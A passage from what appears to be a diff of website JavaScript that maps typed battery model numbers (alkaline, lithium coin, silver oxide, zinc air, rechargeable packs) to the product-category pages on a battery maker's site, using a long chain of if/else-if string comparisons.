+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-3501wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350nnci"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-361"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-361i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="a522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+
+ else if(IDText.value=="510s"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1209"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1212"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1215"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1222"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1235"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1250"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="206"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="246"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="266"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="276"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="411"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="412"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="413"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="415"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="416"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="455"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="467"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="489"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="493"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="497"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="504"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="505"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="711"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="732"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="763"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev190"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev115"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev122"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev131"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev135"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev150"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="hs14196"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="2l76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+ else if(IDText.value=="el1cr2"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+ else if(IDText.value=="crv3"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el2cr5"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el123ap"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el223ap"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l544"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1025"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1216"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1220"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1225"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1616"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1620"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1632"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2012"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2016"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2025"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2032"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2430"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2450"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+ else if(IDText.value=="186"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="189"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="191"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="192"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="193"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a23"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a27"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a544"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="e11a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="e625g"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="303"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="309"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="315"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="317"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="319"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="321"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="329"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+ else if(IDText.value=="333"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+ else if(IDText.value=="335"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="337"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="339"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="341"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="344"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="346"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="357"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="361"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="362"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="364"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="365"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="366"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="370"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="371"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="373"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="376"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="377"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="379"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="381"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="384"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="386"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="387s"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="389"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="390"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="391"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="392"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="393"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="394"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="395"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="396"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="397"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="399"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="epx76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac5"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac10/230"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+ else if(IDText.value=="ac10"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+ else if(IDText.value=="ac13"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac146x"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac675"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm24"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm4aa"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chsm"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm4fc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="cxl1000"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+ else if(IDText.value=="nh12"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+ else if(IDText.value=="nh15"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+ else if(IDText.value=="nh22"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+ else if(IDText.value=="nh35"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+ else if(IDText.value=="nh50"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="ccm5060"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="ccm5260"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm1060h"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm1360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm2560"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm6136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cv3010"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="cv3012"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="cv3112"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc510"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc5160"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc520"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc525"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc530"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc545"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc560"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc570"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc580"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc590"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc600"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc610"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc620"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc630"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc640"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc650"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc660"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc670"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc680"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc700"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp2360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp3036"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="cp3136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp3336"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5648"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5748"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8049"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8648"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="cpv5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp5036"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp7160"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw120"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw210"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw220"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw230"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw240"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw305"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw310"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw400"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw500"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
